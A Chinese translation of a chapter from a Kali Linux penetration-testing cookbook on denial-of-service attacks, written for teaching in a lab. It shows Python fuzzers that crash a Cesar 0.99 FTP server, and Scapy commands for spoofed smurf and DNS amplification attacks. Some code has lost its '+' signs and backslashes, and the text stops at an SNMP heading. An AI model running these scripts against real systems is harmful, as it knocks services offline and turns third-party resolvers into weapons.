第六章 拒绝服务（一）
作者：Justin Hutchens 译者：飞龙 协议：CC BY-NC-SA 4.0
任何时候，当你通过互联网访问公开资源，甚至通过内部网络访问小型社区时，重要的是要考虑拒绝服务（DoS）攻击的风险。 DoS 攻击可能令人沮丧，并且可能非常昂贵。 最糟糕的是，这些威胁往往是一些最难以缓解的威胁。 为了能够正确评估对网络和信息资源的威胁，必须了解现有的 DoS 威胁的类型以及与之相关的趋势。
在单独讨论列出的每个秘籍之前，我们应该强调一些基本原则，并了解它们如何与本章中讨论的 DoS 攻击相关。 我们将在接下来的秘籍中讨论的 DoS 攻击可以分为缓冲区溢出，流量放大攻击或资源消耗攻击。 我们将按此顺序讨论与这些类型的攻击的工作原理相关的一般原则。
缓冲区溢出是一种编程漏洞，可能导致应用程序，服务或整个底层操作系统的拒绝服务。 一般来说，缓冲区溢出能够导致拒绝服务，因为它可能导致任意数据被加载到非预期的内存段。 这可能会中断执行流程，并导致服务或操作系统崩溃。 流量放大 DoS 攻击能够通过消耗特定服务器，设备或网络可用的网络带宽来产生 DoS 条件。 流量放大攻击需要两个条件才能成功。 这些条件如下：
- 重定向：攻击者必须能够请求可以重定向到受害者的响应。 这通常通过 IP 欺骗来实现。 因为 UDP 不是面向连接的协议，所以使用 UDP 作为其相关的传输层协议的大多数应用层协议，可以用于通过伪造的请求，将服务响应重定向到其他主机。
- 放大：重定向的响应必须大于请求该响应的请求。 响应字节大小和请求字节大小的比率越大，攻击就越成功。
例如，如果发现了生成 10 倍于相关请求的响应的 UDP 服务，则攻击者可以利用该服务来潜在地生成 10 倍的攻击流量，而不是通过将伪造的请求发送到 漏洞服务，以可能最高的速率传输。 资源消耗攻击是产生如下的条件的攻击，其中主机服务器或设备的本地资源被消耗到一定程度，使得这些资源不再能够用于执行其预期的操作功能。 这种类型的攻击可以针对各种本地资源，包括内存，处理器性能，磁盘空间或并发网络连接的可持续性。
6.1 使用模糊测试来识别缓冲区溢出
识别缓冲区溢出漏洞的最有效的技术之一是模糊测试。 模糊测试通过将精巧的或随机数据传递给函数，来测试与各种输入相关的结果。 在正确的情况下，输入数据可能逃离其指定的缓冲区，并流入相邻的寄存器或内存段。 此过程将中断执行流程并导致应用程序或系统崩溃。 在某些情况下，缓冲区溢出漏洞也可以用于执行未经授权的代码。 在这个秘籍中，我们会讨论如何通过开发自定义的Fuzzing工具，来测试缓冲区溢出漏洞。
准备
为了执行远程模糊测试，你需要有一个运行 TCP 或 UDP 网络服务的系统。 在提供的示例中，使用了拥有 FTP 服务的 Windows XP 系统。 有关设置 Windows 系统的更多信息，请参阅本书第一章的“安装 Windows Server”秘籍。 此外，本节需要使用文本编辑器（如 VIM 或 Nano）将脚本写入文件系统。 有关编写脚本的更多信息，请参阅本书第一章的“使用文本编辑器（VIM 和 Nano）”秘籍。
工作原理
Python 是一种优秀的脚本语言，可用于高效开发自定义的模糊测试工具。 当评估 TCP 服务时，套接字函数可用于简化执行完全三次握手序列，和连接到监听服务端口的过程。 任何模糊脚本的主要目的是，将数据作为输入发送到任何给定的函数并评估结果。 我开发了一个脚本，可以用来模糊测试 FTP 服务的验证后的功能，如下所示：
代码语言：javascript复制#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 6:
print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payload] [Interval] [Maximum]"
print "Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000"
print "Example will fuzz the defined FTP service with a series of payloads"
print "to include 100 'A's, 200 'A's, etc... up to the maximum of 1000"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
char = str(sys.argv[3])
i = int(sys.argv[4])
interval = int(sys.argv[4])
max = int(sys.argv[5])
user = raw_input(str("Enter ftp username: "))
passwd = raw_input(str("Enter ftp password: "))
command = raw_input(str("Enter FTP command to fuzz: "))
while i <= max:
try:
payload = command " " (char * i)
print "Sending " str(i) " instances of payload (" char ") to target"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target,port))
s.recv(1024)
s.send('USER ' user 'rn')
s.recv(1024)
s.send('PASS ' passwd 'rn')
s.recv(1024)
s.send(payload 'rn')
s.send('QUITrn')
s.recv(1024)
s.close()
i = i interval
except:
print "nUnable to send...Server may have crashed"
sys.exit()
print "nThere is no indication that the server has crashed" 脚本的第一部分定义了 Python 解释器的位置，并导入所需的库。 第二部分检查提供的参数数量，以确保其与脚本的适当用法一致。 脚本的第三部分定义将在整个脚本执行期间使用的变量。 其中几个变量从系统参数中接收到它们的值，这些参数在执行时传递给脚本。 剩余的变量通过接受脚本的用户的输入来定义。 最后，脚本的其余部分定义了模糊测试过程。 我们执行ftp_fuzz.py文件，如下：
root@KaliLinux:~# ./ftp_fuzz.py
Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payload] [Interval] [Maximum]
Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000
Example will fuzz the defined FTP service with a series of payloads to include 100 'A's, 200 'A's, etc... up to the maximum of 1000
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 A 100 1000
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 instances of payload (A) to target
Sending 200 instances of payload (A) to target
Sending 300 instances of payload (A) to target
Sending 400 instances of payload (A) to target
Sending 500 instances of payload (A) to target
Sending 600 instances of payload (A) to target
Sending 700 instances of payload (A) to target
Sending 800 instances of payload (A) to target
Sending 900 instances of payload (A) to target
Sending 1000 instances of payload (A) to target
There is no indication that the server has crashed如果脚本在没有适当数量的系统参数的情况下执行，脚本将返回预期的用法。有几个值必须作为系统参数来包含。要传递给脚本的第一个参数是目标 IP 地址。此 IP 地址是与运行所需模糊测试的 FTP 服务的系统相关的 IP 地址。下一个参数是运行 FTP 服务的端口号。在大多数情况下，FTP 在 TCP 端口 21 中运行。载荷定义了要批量传递到服务的字符或字符序列。 interval参数定义了在一次迭代中传递给 FTP 服务的载荷实例数。参数也是这样的数量，通过该数量，载荷实例的数量将随着每次连续迭代增加到最大值。此最大值由最后一个参数的值定义。在使用这些系统参数执行脚本后，它将请求 FTP 服务的身份验证凭证，并询问应该对哪个身份验证后的功能进行模糊测试。在提供的示例中，模糊测试对 IP 地址172.16.36.134的 Windows XP 主机的 TCP 端口 21 上运行的 FTP 服务执行。匿名登录凭据传递给了具有任意电子邮件地址的 FTP 服务。此外，一系列 As 被传递到 MKD 验证后的功能，从 100 个实例开始，并每次增加 100，直到达到最大 1000 个实例。同样的脚本也可以用来传递载荷中的一系列字符：
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 ABCD 100 500
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 instances of payload (ABCD) to target
Sending 200 instances of payload (ABCD) to target
Sending 300 instances of payload (ABCD) to target
Sending 400 instances of payload (ABCD) to target
Sending 500 instances of payload (ABCD) to target
There is no indication that the server has crashed在所提供的示例中，载荷被定义为ABCD，并且该载荷的实例被定义为 100 的倍数，直到最大值 500。
工作原理
一般来说，缓冲区溢出能够导致拒绝服务，因为它们可能导致任意数据被加载到非预期的内存段。 这可能中断执行流程，并导致服务或操作系统崩溃。 此秘籍中讨论的特定脚本的工作原理是，在服务或操作系统崩溃的情况下，套接字将不再接受输入，并且脚本将无法完成整个载荷注入序列。 如果发生这种情况，脚本需要使用Ctrl C强制关闭。在这种情况下，脚本会返回一个标志，表示后续的载荷无法发送，并且服务器可能已崩溃。
6.2 FTP 远程服务的缓冲区溢出 DoS 攻击
在正确的情况下，输入数据可能逃离其指定的缓冲区并流入相邻的寄存器或内存段。 此过程将中断执行流程并导致应用程序或系统崩溃。 在某些情况下，缓冲区溢出漏洞也可以用于执行未经授权的代码。 在这个特定的秘籍中，我们基于 Cesar 0.99 FTP 服务的缓冲区溢出，展示如何执行 DoS 攻击的示例。
准备
为了执行远程模糊测试，你需要有一个运行 TCP 或 UDP 网络服务的系统。 在提供的示例中，使用了拥有 FTP 服务的 Windows XP 系统。 有关设置 Windows 系统的更多信息，请参阅本书第一章的“安装 Windows Server”秘籍。 此外，本节需要使用文本编辑器（如 VIM 或 Nano）将脚本写入文件系统。 有关编写脚本的更多信息，请参阅本书第一章的“使用文本编辑器（VIM 和 Nano）”秘籍。
操作步骤
有一个公开披露的漏洞与 Cesar 0.99 FTP 服务相关。 此漏洞由常见漏洞和披露（CVE）编号系统定义为 CVE-2006-2961。 通过对此漏洞进行研究，显然可以通过向 MKD 函数发送换行字符的验证后序列，来触发基于栈的缓冲区溢出。 为了避免将 n转义序列传递给 Python 脚本，以及之后在提供的输入中正确解释它的相关困难，我们应该修改先前秘籍中讨论的脚本。 然后，我们可以使用修改的脚本来利用此现有漏洞：
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 5:
print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]"
print "Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000"
print "Example will fuzz the defined FTP service with a series of line break "
print "characters to include 100 '\n's, 200 '\n's, etc... up to the maximum of 1000"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
i = int(sys.argv[3])
interval = int(sys.argv[3])
max = int(sys.argv[4])
user = raw_input(str("Enter ftp username: "))
passwd = raw_input(str("Enter ftp password: "))
command = raw_input(str("Enter FTP command to fuzz: "))
while i <= max:
try:
payload = command " " ('n' * i)
print "Sending " str(i) " line break characters to target"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target,port))
s.recv(1024)
s.send('USER ' user 'rn')
s.recv(1024)
s.send('PASS ' passwd 'rn')
s.recv(1024)
s.send(payload 'rn')
s.send('QUITrn')
s.recv(1024)
s.close()
i = i interval
except:
print "nUnable to send...Server may have crashed"
sys.exit()
print "nThere is no indication that the server has crashed" 对脚本所做的修改包括，修改使用描述和删除作为提供的参数的载荷，然后将换行载荷硬编码到要按顺序发送的脚本中。
代码语言：javascript复制root@KaliLinux:~# ./ftp_fuzz.py
Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]
Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000
Example will fuzz the defined FTP service with a series of line break characters to include 100 'n's, 200 'n's, etc... up to the maximum of 1000
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 100 1000
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 line break characters to target
Sending 200 line break characters to target
Sending 300 line break characters to target
Sending 400 line break characters to target
Sending 500 line break characters to target
Sending 600 line break characters to target
Sending 700 line break characters to target
^C
Unable to send...Server may have crashed如果脚本在没有适当数量的系统参数的情况下执行，脚本将返回预期的用法。 然后，我们可以执行脚本并发送一系列载荷，它们的数量为 100 的倍数，最大为 1000。在发送 700 个换行符的载荷后，脚本停止发送载荷，并处于空闲状态。 在一段时间不活动后，脚本使用Ctrl C被强制关闭。脚本表示它已经无法发送字符，并且远程服务器可能已经崩溃。 看看下面的截图：
通过返回到运行 Cesar 0.99 FTP 服务的 Windows XP 主机，我们可以看到server.exe应用程序崩溃了。 要在拒绝服务后恢复操作，必须手动重新启动 Cesar FTP 服务。
工作原理
一般来说，缓冲区溢出能够导致拒绝服务，因为它们可能导致任意数据被加载到非预期的内存段。 这可能中断执行流程，并导致服务或操作系统崩溃。 此秘籍中讨论的特定脚本的工作原理是，在服务或操作系统崩溃的情况下，套接字将不再接受输入，并且脚本将无法完成整个有效载荷注入序列。 如果发生这种情况，脚本需要使用Ctrl C强制关闭。在这种情况下，脚本将返回一个标识，表明后续载荷无法发送，并且服务器可能已崩溃。
6.3 Smurf DoS 攻击
smurf 攻击是历史上用于执行分布式拒绝服务（DDoS）放大攻击的最古老的技术之一。 此攻击包括向网络广播地址发送一系列 ICMP 回响请求，带有伪造的源 IP 地址。 当广播此回显请求时，LAN 上的所有主机会同时对收到的每个伪造请求的目标进行回复。 这种技术对现代系统的效率较低，因为大多数系统不会回复 IP 定向的广播流量。
准备
要执行smurf攻击，您需要有一个LAN，上面运行多个系统。 提供的示例将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息，请参阅本书第一章中的“安装 Ubuntu Server”秘籍。
操作步骤
为了尝试执行传统的 smurf 攻击，Scapy 可以用于从零开始构建必要的数据包。 为了从 Kali Linux 命令行使用 Scapy，请从终端使用scapy命令，如下所示。 为了向广播地址发送 ICMP 请求，我们必须首先构建此请求的层级。 我们将需要构建的第一层是 IP 层：
root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
options
>>> i.dst = "172.16.36.255"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.255
options 要构建我们的请求的 IP 层，我们应该将 IP 对象赋给变量i。 通过调用display()函数，我们可以确定该对象的属性配置。 通常，发送和接收地址都设为回送地址127.0.0.1。 可以通过将i.dst设置为广播地址的字符串值，来更改目标地址并修改这些值。 通过再次调用display()函数，我们可以看到，不仅更新了目的地址，而且Scapy也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层，我们应该继续构建 ICMP 层：
>>> ping = ICMP()
>>> ping.display()
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0 要构建我们的请求的 ICMP 层，我们将使用与 IP 层相同的技术。 默认情况下，ICMP 层已配置为执行回显请求。 现在我们已经创建了 IP 和 ICMP 层，我们需要通过堆叠这些层来构造请求：
代码语言：javascript复制>>> request = (i/ping)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= icmp
chksum= None
src= 172.16.36.224
dst= 172.16.36.255
options
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
>>> send(request)
.
Sent 1 packets.可以通过使用斜杠分隔变量，来堆叠 IP 和 ICMP 层。 然后可以将这些层及赋给表示整个请求的新变量。 然后可以调用display()函数来查看请求的配置。 一旦建立了请求，就可以将其传递给函数。 可以使用 Wireshark 或 TCPdump 等数据包捕获工具来监控结果。 在提供的示例中，Wireshark 显示，LAN 上的两个 IP 地址响应了广播回响请求：
实际上，两个响应地址不足以执行有效的 DoS 攻击。 如果这个练习复制到另一个具有半现代化主机的实验室中，结果很可能是类似的。 在有足够的响应地址来触发拒绝服务的情况下，源地址将需要替换为了攻击目标的 IP 地址：
代码语言：javascript复制>>> send(IP(dst="172.16.36.255",src="172.16.36.135")/ ICMP(),count=100,verbose=1)
......................................................................... ...........................
Sent 100 packets. 在提供的示例中，Scapy 的单行命令用于执行与之前讨论的相同操作，但此时除外，源 IP 地址被伪造为 LAN 上另一个系统的地址。 此外，count可用于按顺序发送多个请求。
工作原理
放大攻击的原理是利用第三方设备，使网络流量压倒目标。 对于多数放大攻击，必须满足两个条件：
- 用于执行攻击的协议不验证请求源
- 来自所使用的网络功能的响应应该显着大于用于请求它的请求。
传统 smurf 攻击的效率取决于 LAN 上响应 IP 定向的广播流量的主机。 这种主机从目标系统的伪造 IP 地址接收 ICMP 广播回响请求，然后针对接收到的每个请求同时返回 ICMP 回响应答。
6.4 DNS 放大 DoS 攻击
DNS放大攻击通过对给定域执行所有类型记录的伪造查询，来利用开放的 DNS 解析器。 通过同时向多个开放的解析器发送请求来使用 DDoS 组件，可以提高这种攻击的效率。
准备
为了模拟 DNS 放大攻击，你需要有一个本地名称服务器，或知道一个开放和可公开访问的名称服务器的 IP 地址。 提供的示例将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息，请参阅本书第一章中的“安装 Ubuntu Server”秘籍。
操作步骤
为了了解 DNS 放大的工作原理，可以使用基本的 DNS 查询工具，如host，dig或nslookup。 通过对与已建立的域相关的所有记录类型执行请求，你将注意到一些请求返回了相当大的响应：
root@KaliLinux:~# dig ANY google.com @208.67.220.220
; <<>> DiG 9.8.4-rpz2 rl005.12-P1 <<>> ANY google.com @208.67.220.220
;; global options: cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41539
;; flags: qr rd ra; QUERY: 1, ANSWER: 17, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION: ;
google.com. IN ANY
;; ANSWER SECTION:
google.com. 181 IN A 74.125.232.101
google.com. 181 IN A 74.125.232.97
google.com. 181 IN A 74.125.232.102
google.com. 181 IN A 74.125.232.99
google.com. 181 IN A 74.125.232.104
google.com. 181 IN A 74.125.232.96
google.com. 181 IN A 74.125.232.100
google.com. 181 IN A 74.125.232.103
google.com. 181 IN A 74.125.232.105
google.com. 181 IN A 74.125.232.98
google.com. 181 IN A 74.125.232.110
google.com. 174 IN AAAA 2607:f8b0:4004:803::1007
google.com. 167024 IN NS ns2.
google.com.
google.com. 167024 IN NS ns1.
google.com.
google.com. 167024 IN NS ns3.
google.com.
google.com. 167024 IN NS ns4.
google.com.
google.com. 60 IN SOA ns1.
google.com. dns-admin.
google.com. 1545677 7200 1800 1209600 300
;; Query time: 7 msec
;; SERVER: 208.67.220.220#53(208.67.220.220)
;; WHEN: Thu Dec 19 02:40:16 2013
;; MSG SIZE rcvd: 35在提供的示例中，与google.com域相关的所有记录类型的请求返回了一个响应，包含11个A记录，1个AAAA记录，4个NS记录和1个SOA记录。 DNS放大攻击的效率与响应大小直接相关。 我们现在将尝试使用 Scapy 中构建的数据包执行相同的操作。 要发送我们的 DNS 查询请求，我们必须首先构建此请求的层级。 我们需要构建的第一层是 IP 层：
root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
options
>>> i.dst = "208.67.220.220"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.180
dst= 208.67.220.220
options 要构建我们的请求的 IP 层，我们应该将 IP 对象赋给变量i。 通过调用display()函数，我们可以确定该对象的属性配置。 通常，发送和接收地址都设为回送地址127.0.0.1。 可以通过将i.dst设置为广播地址的字符串值，来更改目标地址并修改这些值。 通过再次调用display()函数，我们可以看到，不仅更新了目的地址，而且Scapy也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层，我们应该继续构建 UDP 层：
>>> u = UDP()
>>> u.display()
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
>>> u.dport 53要构建我们的请求的 UDP 层，我们将使用与IP层相同的技术。 在提供的示例中，UDP 对象赋给了u变量。 如前所述，可以通过调用display()函数来确定默认配置。 在这里，我们可以看到源和目标端口的默认值都列为domain。 您可能能猜到，这表示与端口 53 相关的 DNS服 务。DNS 是一种常见的服务，通常可以在网络系统上发现。 要确认这一点，我们可以通过引用变量名和属性直接调用该值。 既然已经构建了 IP 和 UDP 层，我们需要构建 DNS 层：
>>> d = DNS()
>>> d.display()
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 0
ra= 0
z= 0
rcode= ok
qdcount= 0
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None 为了构建我们的请求的DNS层，我们将使用与 IP 和 UDP 层相同的技术。 在提供的示例中，DNS 对象赋给了d变量。 如前所述，可以通过调用display()函数来确定默认配置。 在这里，我们可以看到有几个值需要修改：
>>> d.rd = 1
>>> d.qdcount = 1
>>> d.display()
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None RD 位需要被激活; 这可以通过将rd值设置为 1 来实现。此外，需要为qdcount提供值0x0001; 这可以通过提供整数值 1 来完成。通过再次调用display()函数，我们可以验证是否已经调整了配置。 现在已经构建了 IP，UDP 和 DNS 层，我们需要构建一个 DNS 问题记录以分配给qd值：
>>> q = DNSQR()
>>> q.display()
###[ DNS Question Record ]###
qname= '.'
qtype= A
qclass= IN 为了构建 DNS 问题记录，我们将使用与 IP，UDP 和 DNS 层相同的技术。 在提供的示例中，DNS 问题记录已赋给q变量。 如前所述，可以通过调用display()函数来确定默认配置。 在这里，我们可以看到有几个值需要修改：
>>> q.qname = 'google.com'
>>> q.qtype=255
>>> q.display()
###[ DNS Question Record ]###
qname= 'google.com'
qtype= ALL
qclass= IN qname值需要设置为要查询的域。 另外，qtype需要通过传递一个整数值 255 来设置为ALL。通过再次调用display()函数，我们可以验证是否已经调整了配置。 现在问题记录已经配置完毕，问题记录对象应该赋给DNS qd值：
>>> d.qd = q
>>> d.display()
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
qd
|###[ DNS Question Record ]###
|
qname= 'google.com'
|
qtype= ALL
|
qclass= IN
an= None
ns= None
ar= None我们可以通过调用display()函数来验证问题记录是否已赋给 DNS qd值。 现在已经构建了 IP，UDP 和 DNS 层，并且已经将相应的问题记录赋给 DNS 层，我们可以通过堆叠这些层来构造请求：
>>> request = (i/u/d)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp
chksum= None
src= 172.16.36.180
dst= 208.67.220.220
options
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
qd
|###[ DNS Question Record ]###
| qname= 'google.com'
| qtype= ALL
| qclass= IN
an= None
ns= None
ar= None可以通过使用斜杠分隔变量来堆叠 IP，UDP 和 DNS 层。 然后可以将这些层赋给表示整个请求的新变量。 然后可以调用display()函数来查看请求的配置。 在发送此请求之前，我们应该以相同的显示格式查看它，因为我们需要查看响应。 这样，我们可以更好地从视觉上理解请求和响应之间发生的放大。 这可以通过直接调用变量来完成：
>>> request
<IP frag=0 proto=udp dst=208.67.220.220 |<UDP sport=domain |<DNS rd=1 qdcount=1 qd=<DNSQR qname='google.com' qtype=ALL |> |>>>一旦建立了请求，它就可以被传递给发送和接收函数，以便我们可以分析响应。 我们不会将它赋给一个变量，而是直接调用该函数，以便可以以相同的格式查看响应：
代码语言：javascript复制>>> sr1(request)
Begin emission:
....................Finished to send 1 packets.
.............................*
Received 50 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=378 id=29706 flags= frag=0L ttl=128 proto=udp chksum=0x4750 src=208.67.220.220 dst=172.16.36.232 options=[] |<UDP sport=domain dport=domain len=358 chksum=0xf360 |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=17 nscount=0 arcount=0 qd=<DNSQR qname='google.com.' qtype=ALL qclass=IN |> an=<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.103' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.102' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.98' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.96' |<DNSRR rrname='google. com.' type=A rclass=IN ttl=188 rdata='74.125.228.99' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.110' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.100' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.97' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.104' |<DNSRR rrname='google. com.' type=A rclass=IN ttl=188 rdata='74.125.228.105' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.101' |<DNSRR rrname='google.com.' type=AAAA rclass=IN ttl=234 rdata='2607 :f8b0:4004:803::1002' |<DNSRR rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns2.google.com.' |<DNSRR rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns1.google.com.' |<DNSRR rrname='google. com.' type=NS rclass=IN ttl=171376 rdata='ns3.google.com.' |<DNSRR rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns4.google.com.' |<DNSRR rrname='google.com.' type=SOA rclass=IN ttl=595 rdata='xc1x06 tdns-adminxc0x0cx00x17xd0`x00x00x1c x00x00x07x08x00x12u x00x00x00x01,' |>>>>>>>>>>>>>>>>> ns=None ar=None |>>> 该响应确认了我们已成功构建所需的请求，并且我们已请求了一个相当大的有效内容，其中包括google.com域的11个A记录，1个AAAA记录，4个NS记录和1个SOA记录。 此练习清楚地表明，请求的响应明显大于请求本身。 为了使这个放大攻击有效，它需要通过伪造源 IP 地址重定向到我们的目标：
>>> i.src = "172.16.36.135"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.135
dst= 208.67.220.220
options
>>> request = (i/u/d)
>>> request
<IP frag=0 proto=udp src=172.16.36.135 dst=208.67.220.220 |<UDP sport=domain |<DNS rd=1 qdcount=1 qd=<DNSQR qname='google.com' qtype=ALL |> |>>>将源 IP 地址值重新定义为目标系统的 IP 地址的字符串后，我们可以使用display()函数确认该值已调整。 然后我们可以重建我们的更改后的请求。 为了验证我们是否能够将 DNS 查询响应重定向到此伪造主机，我们可以在主机上启动 TCPdump：
admin@ubuntu:~$ sudo tcpdump -i eth0 src 208.67.220.220 -vv
[sudo] password for admin:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 在提供的示例中，TCPdump 配置将捕获eth0接口上，来自208.67.220.220源地址（查询的DNS服务器的地址）的所有流量。 然后，我们可以使用send()函数发送我们的请求：
>>> send(request)
.
Sent 1 packets.
>>> send(request)
.
Sent 1 packets.发送请求后，我们应该返回到 TCPdump 的内容，来验证 DNS 查询的响应是否返回给了受害服务器：
代码语言：javascript复制tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
19:07:12.926773 IP (tos 0x0, ttl 128, id 11341, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. A yyz08s13-in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100. net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13in-f0.1e100.net, google.com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100.net, google.com. A yyz08s13-in-f9.1e100.net, google. com. A yyz08s13-in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. NS ns2.google.com., google.com. NS ns1.google.com., google. com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1.google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322)
19:07:15.448636 IP (tos 0x0, ttl 128, id 11359, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100.net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13-in-f0.1e100.net, google. com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100. net, google.com. A yyz08s13-in-f9.1e100.net, google.com. A yyz08s13in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. A yyz08s13-in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. NS ns2.google.com., google.com. NS ns1.google.com., google.com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1. google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322) 这个执行 DNS 放大的整个过程，实际上可以用 Scapy 中的单行命令来执行。 此命令使用所有与上一个练习中讨论的相同的值。 然后可以修改count值以定义要发送到受害服务器的载荷响应数：
>>> send(IP(dst="208.67.220.220",src="172.16.36.135")/UDP()/DNS(rd=1,qdco unt=1,qd=DNSQR(qname="google.com",qtype=255)),verbose=1,count=2)
..
Sent 2 packets.工作原理
放大攻击的原理是利用第三方设备，使网络流量压倒目标。 对于多数放大攻击，必须满足两个条件：
- 用于执行攻击的协议不验证请求源
- 来自所使用的网络功能的响应应该显着大于用于请求它的请求。
DNS 放大攻击的效率取决于 DNS 查询的响应大小。 另外，可以通过使用多个 DNS 服务器来增加攻击的威力。
SNMP 放大 DoS 攻击
SNMP 扩展攻击通过伪造具有大型响应的查询，来利用团体字符串可预测的 SNMP 设备。 通过使用分布式 DDoS 组件，以及通过同时向多个 SNMP 设备发送请求，可以提高这种攻击的效率。
准备
为了模拟 SNMP 放大攻击，你需要有一个启用 SNMP 的设备。 所提供的示例使用 Windows XP 设备。 有关设置 Windows 系统的更多信息，请参阅本书第一章中的“安装 Windows Server”秘籍。 此外，此秘籍将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息，请参阅本书第一章中的“安装 Ubuntu Server”秘籍。
操作步骤
